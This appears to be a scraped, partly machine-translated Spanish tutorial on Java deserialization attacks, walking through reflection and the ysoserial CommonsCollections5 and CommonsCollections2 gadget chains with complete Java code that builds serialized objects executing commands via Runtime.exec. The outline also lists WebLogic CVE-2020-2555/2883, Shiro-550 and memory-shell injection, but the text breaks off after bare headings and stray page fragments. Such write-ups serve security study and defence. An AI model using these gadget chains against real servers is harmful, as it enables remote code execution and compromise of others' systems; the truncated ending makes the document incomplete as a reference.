Compartir técnica de deserialización de Java

Los aspectos cubiertos en esta presentación son los siguientes:

Conceptos básicos de serialización y deserialización de Java
¿Por qué se generan vulnerabilidades durante la deserialización?
Reflexión de Java
ysoserial CommonsCollections2、CommonsCollections5
Varios métodos para cargar clases con Java ClassLoader
WebLogic CVE-2020-2555 CVE-2020-2883 RCE
Shiro-550 rememberMe codificación rígida que conduce a deserialización RCE
WebLogic + Shiro deserialización registro con un clic de filter memory shell

Conceptos básicos de serialización y deserialización de Java

La serialización de Java se refiere al proceso de convertir objetos Java en una secuencia de bytes para facilitar su almacenamiento en memoria, archivos o bases de datos. El método writeObject() de la clase ObjectOutputStream puede implementar la serialización, transformando objetos Java en secuencias de bytes.

La deserialización de Java se refiere al proceso de restaurar una secuencia de bytes a un objeto Java. El método readObject() de la clase ObjectInputStream se utiliza para la deserialización.

Ponga un ejemplo simple, vea el código SerializeAndDeserialize ps: Preste especial atención a la conversión forzada de tipos en el código```java package org.chabug.demo;

import org.chabug.entity.Dog; import org.chabug.entity.Person; import org.chabug.util.Serializables;

/* 这个例子是为了证明只要实现了Serializable接口的类都可以被序列化并且Java内置的几大数据类型也可被序列化，因为他们都继承了Object类 */

public class SerializeAndDeserialize {

public static void main(String[] args) throws Exception {
    byte[] bytes;
    String s1 = "I'm a String Object....";
    bytes = Serializables.serializeToBytes(s1);
    Object o1 = Serializables.deserializeFromBytes(bytes);
    System.out.println(o1);

    String[] s2 = new String[]{"tom", "bob", "jack"};
    bytes = Serializables.serializeToBytes(s2);
    String[] o2 = (String[])Serializables.deserializeFromBytes(bytes);
    System.out.println(o2);

    int i = 123;
    bytes = Serializables.serializeToBytes(i);
    int o3 = (Integer) Serializables.deserializeFromBytes(bytes);
    System.out.println(o3);

    // 一只名叫woody的狗
    Dog dog = new Dog();
    dog.setName("woody");

    // tom
    Person tom = new Person();
    tom.setAge(14);
    tom.setName("tom");
    tom.setSex("男");
    tom.setDog(dog);

    bytes = Serializables.serializeToBytes(tom);
    Person o = (Person) Serializables.deserializeFromBytes(bytes);
    System.out.println(o);

}

}

Los tipos de datos incorporados de Java, como String, Integer, arrays y objetos Object, pueden serializarse. Las clases que escribimos nosotros mismos, como Person y Dog, pueden serializarse y deserializarse siempre que implementen la interfaz Serializable.



## ¿Por qué se producen vulnerabilidades durante la deserialización?

Veamos un fragmento de código. Ahora tenemos una clase de entidad maliciosa llamada EvilClass```java
package org.chabug.entity;

import java.io.ObjectInputStream;
import java.io.Serializable;

public class EvilClass implements Serializable {
    String name;

    public EvilClass() {
        System.out.println(this.getClass() + "的EvilClass()构造方法被调用!!!!!!");
    }

    public EvilClass(String name) {
        System.out.println(this.getClass() + "的EvilClass(String name)构造方法被调用!!!!!!");
        this.name = name;
    }

    public String getName() {
        System.out.println(this.getClass() + "的getName被调用!!!!!!");
        return name;
    }

    public void setName(String name) {
        System.out.println(this.getClass() + "的setName被调用!!!!!!");
        this.name = name;
    }

    @Override
    public String toString() {
        System.out.println(this.getClass() + "的toString()被调用!!!!!!");
        return "EvilClass{" +
                "name='" + getName() + '\'' +
                '}';
    }

    private void readObject(ObjectInputStream in) throws Exception {
        //执行默认的readObject()方法
        in.defaultReadObject();
        System.out.println(this.getClass() + "readObject()被调用!!!!!!");
        Runtime.getRuntime().exec(new String[]{"cmd", "/c", name});
    }
}

En su readObject, hay código que ejecuta comandos con Runtime.getRuntime().exec(new String[]{"cmd", "/c", name}). El parámetro name es el comando a ejecutar. Entonces podemos construir un objeto malicioso, asignar su atributo name al comando que queremos ejecutar, y cuando la deserialización active readObject, se producirá RCE. Como sigue```java package org.chabug.demo;

import org.chabug.entity.EvilClass; import org.chabug.util.Serializables;

public class EvilSerialize { public static void main(String[] args) throws Exception { EvilClass evilObj = new EvilClass(); evilObj.setName("calc"); byte[] bytes = Serializables.serializeToBytes(evilObj); EvilClass o = (EvilClass) Serializables.deserializeFromBytes(bytes); System.out.println(o); } }

![image-20200822105256120](https://assets.kitploit.com/production/public/readmes/21799/7f07c0c8196e56e1d554bce64f73f069bdd3e589a3302936c831903e5f7e5539.png)

Ahora que sabemos cómo la deserialización puede ser explotada para obtener RCE, en el desarrollo real tampoco se escribe así directamente, por lo que aquí entra en juego la búsqueda de cadenas de explotación. Una vulnerabilidad de deserialización requiere tres elementos:

1. Punto de entrada de deserialización (source)
2. Método destino (sink)
3. Cadena de gadgets (gadget chain)

Si observamos con atención los resultados de la salida en la imagen anterior, no solo se activa el método `readObject`, sino también `toString()`, el constructor sin argumentos, `set` y `get`. Por lo tanto, en la búsqueda real de cadenas de explotación no solo hay que centrarse en el método `readObject()`.

Ahora necesitamos entender el concepto de **reflexión**. Anteriormente mencionamos el problema de **conversión forzada de tipos**. En el desarrollo real, dentro de `readObject` se realiza un procesamiento lógico. Cuando no se conoce el tipo de datos específico del objeto entrante, se determina la llamada mediante reflexión, y la reflexión es un medio importante para lograr RCE.

## Reflexión en Java

¿Qué es la reflexión? La palabra "reflexión" contiene el prefijo "re-", por lo que para explicar la reflexión debemos empezar por el "lado directo". Veamos el código. Esta es mi clase de entidad.```java
package org.chabug.entity;

import java.io.IOException;

public class ReflectionClass {
    String name;

    public ReflectionClass(String name) {
        this.name = name;
    }

    public ReflectionClass() {
    }

    public String say() {
        return this.name;
    }

    private void evil(String cmd) {
        try {
            Runtime.getRuntime().exec(new String[]{"cmd","/c",cmd});
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public String toString() {
        return "ReflectionClass{" +
                "name='" + name + '\'' +
                '}';
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

escritura normal```java package org.chabug.demo;

import org.chabug.entity.ReflectionClass;

public class ReflectionDemo { public static void main(String[] args) { ReflectionClass demo = new ReflectionClass(); demo.setName("hello"); System.out.println(demo.say()); // demo.evil("calc"); // 不能够调用private方法 } }

Muy simple: se crea una instancia de `ReflectionClass` mediante `new`, y luego se invoca un método de esa instancia. Esto es "reflexión directa". Pero, ¿qué hacer si no se conoce el nombre de la clase al hacer `new`? ¿Cómo invocar métodos protegidos por `private`? Aquí es donde se manifiesta la utilidad de la reflexión. Mira el siguiente fragmento de código:```java
package org.chabug.demo;

import org.chabug.entity.ReflectionClass;

import java.lang.reflect.Method;

public class ReflectionDemo {
    public static void main(String[] args) throws Exception {
        // new
        Class<?> aClass = Class.forName("org.chabug.entity.ReflectionClass");
        Object o = aClass.newInstance();

        // setName("jack")
        Method setName = aClass.getDeclaredMethod("setName",String.class);
        setName.invoke(o, "jack");

        // say()
        Method say = aClass.getDeclaredMethod("say",null);
        Object o1 = say.invoke(o, null);
        System.out.println(o1);

        // evil("calc")
        // 反射可以修改方法的修饰符来调用private方法
        Method evil = aClass.getDeclaredMethod("evil", String.class);
        evil.setAccessible(true);
        evil.invoke(o,"calc");
    }
}

No es necesario conocer el nombre de la clase de antemano, basta con modificar la clase org.chabug.entity.ReflectionClass para pasarla como parámetro, y se puede usar setAccessible para obtener métodos o campos privados.

A continuación, partiendo de la vulnerabilidad, profundizaremos en el papel de la reflexión en la deserialización y la exploración de las cadenas de invocación de la deserialización.

ysoserial CommonsCollections2、CommonsCollections5

ysoserial es una herramienta para generar exploits de serialización de Java, que incluye algunos exploits conocidos, como las varias cadenas de explotación de CommonsCollections. Esta vez se analizarán las cadenas CC2 y CC5. La razón para analizar estas dos es que en CC2 se utiliza la operación de definir bytecode, y en CC5 para profundizar en la comprensión de la reflexión y las invocaciones encadenadas.

Primero veamos la cadena CC5, que es más fácil de entender.

CommonsCollections5

La vulnerabilidad aparece en `org.apache.commons.collections.functors.InvokerTransformer#transform````java public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var6) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException var7) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7); } } }

Comparando con el código del capítulo sobre reflexión, se puede ver que esto es un uso muy evidente de reflexión; si se explica con el código directo, sería```java
input.iMethodName(iArgs);

this.iMethodName, this.iParamTypes y this.iArgs son todos controlables en el constructor. Por lo tanto, se puede invocar cualquier método del objeto input y pasar cualquier parámetro.```java public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; }

Por lo tanto, primero un código para ejecutar comandos```java
package org.chabug.demo;

import org.apache.commons.collections.functors.InvokerTransformer;

public class CC5 {
    public static void main(String[] args) throws Exception {
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        invokerTransformer.transform(Runtime.getRuntime());
    }
}

Debido a que la clase Runtime es un patrón singleton, es necesario obtener el objeto Runtime en tiempo de ejecución a través de getRuntime(), y luego pasarlo a transform() para que aparezca la calculadora.

Pero sabemos que durante la deserialización solo se ejecuta automáticamente readObject(). Si en este punto se construye directamente un objeto InvokerTransformer, aún es necesario resolver dos problemas:

Ejecutar automáticamente Runtime.getRuntime()
Ejecutar automáticamente invokerTransformer.transform()

Primero abordemos el primer problema. En org.apache.commons.collections.functors.ChainedTransformer#transform se puede implementar una llamada en cadena.```java public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); } return object; }

La definición de this.iTransformers es un array de Transformer.```java
private final Transformer[] iTransformers;

Transformer es una interfaz, e InvokerTransformer también implementa esta interfaz.

Según el principio de conversión de tipos implícita de Java, podemos definir un array de Transformer, colocar múltiples InvokerTransformer en él para realizar múltiples invocaciones reflectivas y obtener Runtime.getRuntime().exec()```java package org.chabug.demo;

import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer;

public class CC5 { public static void main(String[] args) throws Exception { // ((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc"); Transformer[] transformers = new Transformer[]{ // 传入Runtime类 new ConstantTransformer(Runtime.class), // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime() new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), // 调用exec("calc") new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}) }; Transformer chain = new ChainedTransformer(transformers); chain.transform(null); } }

Donde es ingenioso que a través del constructor de la clase ConstantTransformer se pasa `Runtime.class`, de esta manera no necesitamos pasar `Runtime` nosotros mismos.



Ahora necesitamos resolver el segundo problema: cómo activar automáticamente `transform()`. Se sabe que `readObject()` se ejecuta durante la deserialización, entonces, ¿en qué clase su `readObject()` llama directa o indirectamente a `transform()`?



En `org.apache.commons.collections.map.LazyMap#get` se llama a `transform()`.```java
public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}

Observa el método constructor y el campo factory de esta clase```java protected final Transformer factory;

public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); }

El campo 'factory' está modificado por 'final' y 'protected', pero tiene un método público 'decorate()' para generar objetos de esta clase, entonces se puede construir de la siguiente manera```java
HashMap hashMap = new HashMap();
Map map = LazyMap.decorate(hashMap, chain);
map.get("test");	//执行这个就会弹出计算器  map.get() > transform()

En este momento se está buscando dónde se llama al método get() del map org.apache.commons.collections.keyvalue.TiedMapEntry#getValue```java private final Map map; private final Object key;

public TiedMapEntry(Map map, Object key) { this.map = map; this.key = key; } public Object getKey() { return this.key; } public Object getValue() { return this.map.get(this.key); } public String toString() { return this.getKey() + "=" + this.getValue(); }

getValue() llama directamente a map.get(), y this.key también podemos controlarlo. Por su parte, toString() llama a this.getValue(). Ahora continuamos construyendo.```java
HashMap hashMap = new HashMap();
Map map = LazyMap.decorate(hashMap, chain);
// map.get("test");
TiedMapEntry key = new TiedMapEntry(map, "key");
key.toString();	// toString > getValue() > map.get()

Entonces, el problema ahora es cómo hacer que readObject active automáticamente toString(), esto es simple, en las clases integradas del JDK hay una clase de excepción BadAttributeValueExpException, cuyo readObject() ejecutará toString()```java public BadAttributeValueExpException (Object val) { this.val = val == null ? null : val.toString(); } public String toString() { return "BadAttributeValueException: " + val; }

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null);

if (valObj == null) {
    val = null;
} else if (valObj instanceof String) {
    val= valObj;
} else if (System.getSecurityManager() == null
           || valObj instanceof Long
           || valObj instanceof Integer
           || valObj instanceof Float
           || valObj instanceof Double
           || valObj instanceof Byte
           || valObj instanceof Short
           || valObj instanceof Boolean) {
    val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
    val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}

}

Ya que System.getSecurityManager() es null por defecto, se desencadena val = valObj.toString(), se entra en TiedMapEntry.toString(), el payload final.```java
package org.chabug.demo;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.chabug.util.Serializables;

import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
    public static void main(String[] args) throws Exception {
//        ((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc");
        Transformer[] transformers = new Transformer[]{
                // 传入Runtime类
                new ConstantTransformer(Runtime.class),
                // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                // 调用exec("calc")
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
        };
        Transformer chain = new ChainedTransformer(transformers);
//        chain.transform(null);
        HashMap hashMap = new HashMap();
        Map map = LazyMap.decorate(hashMap, chain);
//        map.get("asd");
        TiedMapEntry key = new TiedMapEntry(map, "key");
//        key.toString();

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException, key);


        byte[] bytes = Serializables.serializeToBytes(badAttributeValueExpException);
        Serializables.deserializeFromBytes(bytes);
    }
}

Cabe señalar que, al declarar el objeto BadAttributeValueExpException, no se pasó directamente el parámetro entry, sino que se asignó mediante reflexión. Esto se debe a que el constructor de BadAttributeValueExpException comprueba si el valor es nulo; si no lo es, durante la serialización se ejecutará toString(), por lo que durante la deserialización, dado que entry ya es una cadena, no se activará el método toString().

Resumen: Uso flexible de la reflexión junto con llamadas encadenadas, y luego buscar un gadget para lograr RCE con éxito.```java /* Gadget chain: ObjectInputStream.readObject() BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() Requires: commons-collections */

### CommonsCollections2

Antes de presentar CC2, primero es necesario comprender el bytecode de Java. En Java, todo el código Java debe compilarse en archivos de bytecode class para que la JVM lo ejecute. El bytecode se asemeja más a un lenguaje ensamblador, con muy baja legibilidad, pero aún así existen muchas bibliotecas excelentes para manipular, modificar y editar bytecode con fines de programación, como asm, cglib y javassist. En la herramienta ysoserial se utiliza la biblioteca javassist. Primero, veamos cómo está escrito el payload de cc2 en ysoserial.```java
public Queue<Object> getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);
    // mock method name until armed
    final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
    // stub data for replacement later
    queue.add(1);
    queue.add(1);

    // switch method called by comparator
    Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = 1;

    return queue;
}

Primero observe Gadgets.createTemplatesImpl(command) en la primera línea```java public static Object createTemplatesImpl ( final String command ) throws Exception { if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { return createTemplatesImpl( command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); }

return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);

}

Mencionando la clase `org.apache.xalan.xsltc.trax.TemplatesImpl`, entonces primero tenemos que ver dos líneas de código.```java
package org.chabug.demo;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import ysoserial.payloads.util.Gadgets;

public class CC2 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl object = (TemplatesImpl) Gadgets.createTemplatesImpl("calc");
        object.newTransformer();
    }
}

¿Por qué aparece la calculadora? Investigación profunda sobre createTemplatesImpl()```java public static Object createTemplatesImpl ( final String command ) throws Exception { if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { return createTemplatesImpl( command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); }

return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);

}

public static T createTemplatesImpl ( final String command, Class tplClass, Class abstTranslet, Class transFactory ) throws Exception { final T templates = tplClass.newInstance();

// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
    command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
    "\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);

final byte[] classBytes = clazz.toBytecode();

// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
    classBytes, ClassFiles.classAsBytes(Foo.class)
});

// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;

}

El código anterior hace lo siguiente:

1. Instancia un objeto `org.apache.xalan.xsltc.trax.TemplatesImpl` llamado templates, cuyo campo `_bytecodes` puede almacenar bytecode.
2. Escribió una clase `StubTransletPayload` que hereda de `AbstractTranslet` e implementa la interfaz `Serializable`.
3. Obtiene el bytecode de `StubTransletPayload` y usa javassist para insertar bytecode en `templates` (ejecución del comando Runtime.exec).
4. Establece mediante reflexión el campo `_bytecodes` de `templates` para que contenga el bytecode de ejecución de comandos.

En realidad, se implementa una subclase de `org.apache.xalan.xsltc.trax.TemplatesImpl`, y luego se inserta su propio bytecode malicioso en el campo `_bytecodes`. Veamos newTransformer().```java
public synchronized Transformer newTransformer()
    throws TransformerConfigurationException
{
    TransformerImpl transformer;

    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
                                      _indentNumber, _tfactory);

    if (_uriResolver != null) {
        transformer.setURIResolver(_uriResolver);
    }

    if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
        transformer.setSecureProcessing(true);
    }
    return transformer;
}

ejecutará getTransletInstance(), seguimiento```java private Translet getTransletInstance() throws TransformerConfigurationException { try { if (_name == null) return null;

    if (_class == null) defineTransletClasses();

    // The translet needs to keep a reference to all its auxiliary
    // class to prevent the GC from collecting them
    AbstractTranslet translet = (AbstractTranslet)
        _class[_transletIndex].getConstructor().newInstance();
    translet.postInitialization();
    translet.setTemplates(this);
    translet.setOverrideDefaultParser(_overrideDefaultParser);
    translet.setAllowedProtocols(_accessExternalStylesheet);
    if (_auxClasses != null) {
        translet.setAuxiliaryClasses(_auxClasses);
    }

    return translet;
}
catch (InstantiationException | IllegalAccessException |
       NoSuchMethodException | InvocationTargetException e) {
    ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
    throw new TransformerConfigurationException(err.toString(), e);
}

}

La siguiente línea crea una nueva instancia de la clase definida en el bytecode, y el bloque static en la clase definida en bytecode contiene Runtime.exec, lo que provoca RCE.```java
AbstractTranslet translet = (AbstractTranslet)            _class[_transletIndex].getConstructor().newInstance();

Entonces solo necesitamos encontrar una clase que llame a template.newTransformer() en readObject(). Es decir, PriorityQueue en el payload.

PriorityQueue es una cola de prioridad ilimitada basada en prioridad. Los elementos de la cola de prioridad se ordenan según su orden natural o según el Comparator proporcionado en la construcción de la cola, dependiendo del constructor utilizado.

Mira su método readObject().```java private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // Read in size, and any hidden stuff s.defaultReadObject();

// Read in (and discard) array length
s.readInt();

SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
queue = new Object[size];

// Read in all elements.
for (int i = 0; i < size; i++)
    queue[i] = s.readObject();

// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();

}

Como es una cola de prioridad, entonces debe haber ordenación. En heapify()```java
private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]); // 进行排序
}
private void siftDown(int k, E x) {
    if (comparator != null) 
        siftDownUsingComparator(k, x); // 如果指定比较器就使用
    else
        siftDownComparable(k, x);  // 没指定就使用默认的自然比较器
}
private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}
private void siftDownComparable(int k, E x) {
    Comparable<? super E> key = (Comparable<? super E>)x;
    int half = size >>> 1;        // loop while a non-leaf
    while (k < half) {
        int child = (k << 1) + 1; // assume left child is least
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            ((Comparable<? super E>) c).compareTo((E) queue[right]) > 0)
            c = queue[child = right];
        if (key.compareTo((E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = key;
}

comparator es un comparador, cuando se especifica un comparator se entra en comparator.compare((E) c, (E) queue[right]). comparator es un objeto de la interfaz Comparator.```java private final Comparator<? super E> comparator;

Al observar su relación de herencia, se descubre que la clase TransformingComparator en el paquete CC包 implementa la interfaz Comparator

![image-20200822155342130](https://assets.kitploit.com/production/public/readmes/21799/8efbc6595d2b8d6f314f557bbc3763d8d3d082872989758404641a4e58701b20.png)

Método compare() de TransformingComparator```java
public int compare(I obj1, I obj2) {
    O value1 = this.transformer.transform(obj1);
    O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

¡Hey, esto no es exactamente la llamada reflexiva del método transform anterior! this.transformer contiene la clase InvokerTransformer, la llamada reflexiva a newTransformer() anterior resulta directamente en RCE. Construir payload.```java public Queue getObject(final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); // mock method name until armed final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);

// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;

return queue;

}

Un punto que puede causar confusión está en `new InvokerTransformer("toString", new Class[0], new Object[0])`, ¿por qué se usa primero toString y luego se modifica mediante reflexión a newTransformer? Porque si se usara newTransformer directamente al serializar, se produciría un error `The method 'newTransformer' on 'class java.lang.Integer' does not exist`, por lo que ysoserial utiliza primero toString para convertir a cadena y comparar con el número 1, luego lo modifica mediante reflexión, lo cual es ingenioso.

Resumen:```java
/*
    Gadget chain:
        ObjectInputStream.readObject()
            PriorityQueue.readObject()
                ...
                    TransformingComparator.compare()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()
 */

WebLogic-Shiro-shell

Más Populares

Derivación de dos cadenas

BytecodeLoader```java

WebLogic CVE-2020-2555 CVE-2020-2883 RCE

CVE-2020-2555